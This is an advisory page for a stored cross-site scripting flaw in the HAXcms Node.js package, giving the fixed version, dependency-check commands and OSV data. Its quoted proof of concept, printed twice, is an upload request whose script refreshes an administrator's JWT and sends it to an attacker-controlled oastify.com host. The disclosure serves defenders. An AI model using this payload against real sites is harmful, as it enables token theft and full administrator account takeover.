CVE-2026-22704: @haxtheweb/haxcms nodejs Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-3fm2-xfq7-7778
CVSS 8.0
CWE-79
Published
Advisory Summary

CVE-2026-22704 is a HIGH (CVSS 8.0) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting @haxtheweb/haxcms nodejs libraries in the npm ecosystem. The issue involves haxcms has stored xss vulnerability that may lead to account takeover. Remediation is available by upgrading affected packages to version 25.0.0.

CVE-2026-22704 at a Glance

CVE Identifier CVE-2026-22704
GHSA Identifier GHSA-3fm2-xfq7-7778
Severity HIGH
CVSS v3.1 Base Score 8.0
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product @haxtheweb/haxcms nodejs
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-22704

To remediate this vulnerability, upgrade all affected @haxtheweb/haxcms nodejs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@haxtheweb/haxcms-nodejs fixed: 25.0.0
npm install @haxtheweb/haxcms-nodejs@25.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @haxtheweb/haxcms-nodejs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-22704, inspect your project dependencies using npm:

npm ls @haxtheweb/haxcms-nodejs

Analyze the terminal output to locate any version of @haxtheweb/haxcms nodejs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 25.0.0), your application is affected.

Note: The npm ls @haxtheweb/haxcms-nodejs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In @haxtheweb/haxcms nodejs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Stored XSS Leading to Account Takeover ### Details The Exploit Chain: 1.Upload: The attacker uploads an `.html` file containing a JavaScript payload. 2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file. 3.Token Refresh: The JavaScript payload makes a `fetch` request to the `/system/api/refreshAccessToken` endpoint. Because the administrator is logged in, their browser automatically attaches the `haxcms_refresh_token` cookie to this request. 4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response. 5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server. 6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application. Vulnerability recurrence: <img width="1198" height="756" alt="image" src="https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3" /> Then we test access to this html <img width="1433" height="1019" alt="image" src="https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253" /> You can obtain other people's identity information <img width="1082" height="290" alt="image" src="https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275" /> ### PoC POST /system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1 Host: 192.168.1.72:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Connection: close Content-Length: 1128 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="bulk-import" true ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file-upload"; filename="files/pwn1116.html" Content-Type: text/plain <script> // This version adds headers to make the request look more legitimate. fetch('/system/api/refreshAccessToken', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' // Sending an empty JSON object body }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); }) .then(data => { var stolenJWT = data.jwt; var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT; fetch(attackerUrl); }) .catch(error => { var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message; fetch(attackerUrl); }); </script> <h1>Processing your request...</h1> ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ### Impact The attacker now possesses a valid administrator JWT and can take full control of the application.

CVE-2026-22704 Affected @haxtheweb/haxcms nodejs Versions

1 component(s)
Fixed Versions:
25.0.0
Product / Package Ecosystem Affected Versions Fixed Version
@haxtheweb/haxcms-nodejs
npm
≥ 11.0.6
< 25.0.0
25.0.0

References

Frequently Asked Questions

What is CVE-2026-22704?
CVE-2026-22704 is a security vulnerability in @haxtheweb/haxcms nodejs involving HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which @haxtheweb/haxcms nodejs versions are affected?
Affected versions include releases prior to 25.0.0 across affected packages: @haxtheweb/haxcms-nodejs.
What version fixes CVE-2026-22704?
Upgrading to 25.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @haxtheweb/haxcms-nodejs affected?
Yes, @haxtheweb/haxcms-nodejs is affected in releases prior to 25.0.0. Upgrade your dependency to 25.0.0 or later.
What is the CVSS score of CVE-2026-22704?
CVE-2026-22704 has a CVSS v3.1 base score of 8.0 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-22704?
CVE-2026-22704 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2026-22704?
Run the dependency tree command: 'npm ls @haxtheweb/haxcms-nodejs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3fm2-xfq7-7778",
  "modified" : "2026-01-13T15:09:35Z",
  "published" : "2026-01-13T15:07:57Z",
  "aliases" : [ "CVE-2026-22704" ],
  "summary" : "HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover",
  "details" : "### Summary\nStored XSS Leading to Account Takeover\n\n### Details\nThe Exploit Chain:\n1.Upload: The attacker uploads an `.html` file containing a JavaScript payload.\n2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file.\n3.Token Refresh: The JavaScript payload makes a `fetch` request to the `/system/api/refreshAccessToken` endpoint. Because the administrator is logged in, their browser automatically attaches the `haxcms_refresh_token` cookie to this request.\n4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response.\n5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server.\n6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.\n\nVulnerability recurrence:\n\n<img width=\"1198\" height=\"756\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3\" />\n\nThen we test access to this html\n\n<img width=\"1433\" height=\"1019\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253\" />\n\nYou can obtain other people's identity information\n\n<img width=\"1082\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275\" />\n\n\n### PoC\nPOST /system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1\nHost: 192.168.1.72:8080\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\nConnection: close\nContent-Length: 1128\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"bulk-import\"\n\ntrue\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file-upload\"; filename=\"files/pwn1116.html\"\nContent-Type: text/plain\n\n<script>\n  // This version adds headers to make the request look more legitimate.\n  fetch('/system/api/refreshAccessToken', {\n    method: 'POST',\n    headers: {\n      'Content-Type': 'application/json'\n    },\n    body: '{}' // Sending an empty JSON object body\n  })\n  .then(response => {\n    if (!response.ok) {\n        throw new Error('Network response was not ok ' + response.statusText);\n    }\n    return response.json();\n  })\n  .then(data => {\n    var stolenJWT = data.jwt;\n    var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT;\n    fetch(attackerUrl);\n  })\n  .catch(error => {\n    var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message;\n    fetch(attackerUrl);\n  });\n</script>\n<h1>Processing your request...</h1>\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n\n### Impact\nThe attacker now possesses a valid administrator JWT and can take full control of the application.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@haxtheweb/haxcms-nodejs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "11.0.6"
      }, {
        "fixed" : "25.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/haxtheweb/issues/security/advisories/GHSA-3fm2-xfq7-7778"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22704"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/haxtheweb/haxcms-nodejs/commit/317a8ae29f88be389f7cfeffaef416957122d97e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/haxtheweb/haxcms-nodejs/releases/tag/v25.0.0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/haxtheweb/issues"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-13T15:07:57Z",
    "nvd_published_at" : "2026-01-10T07:16:03Z"
  }
}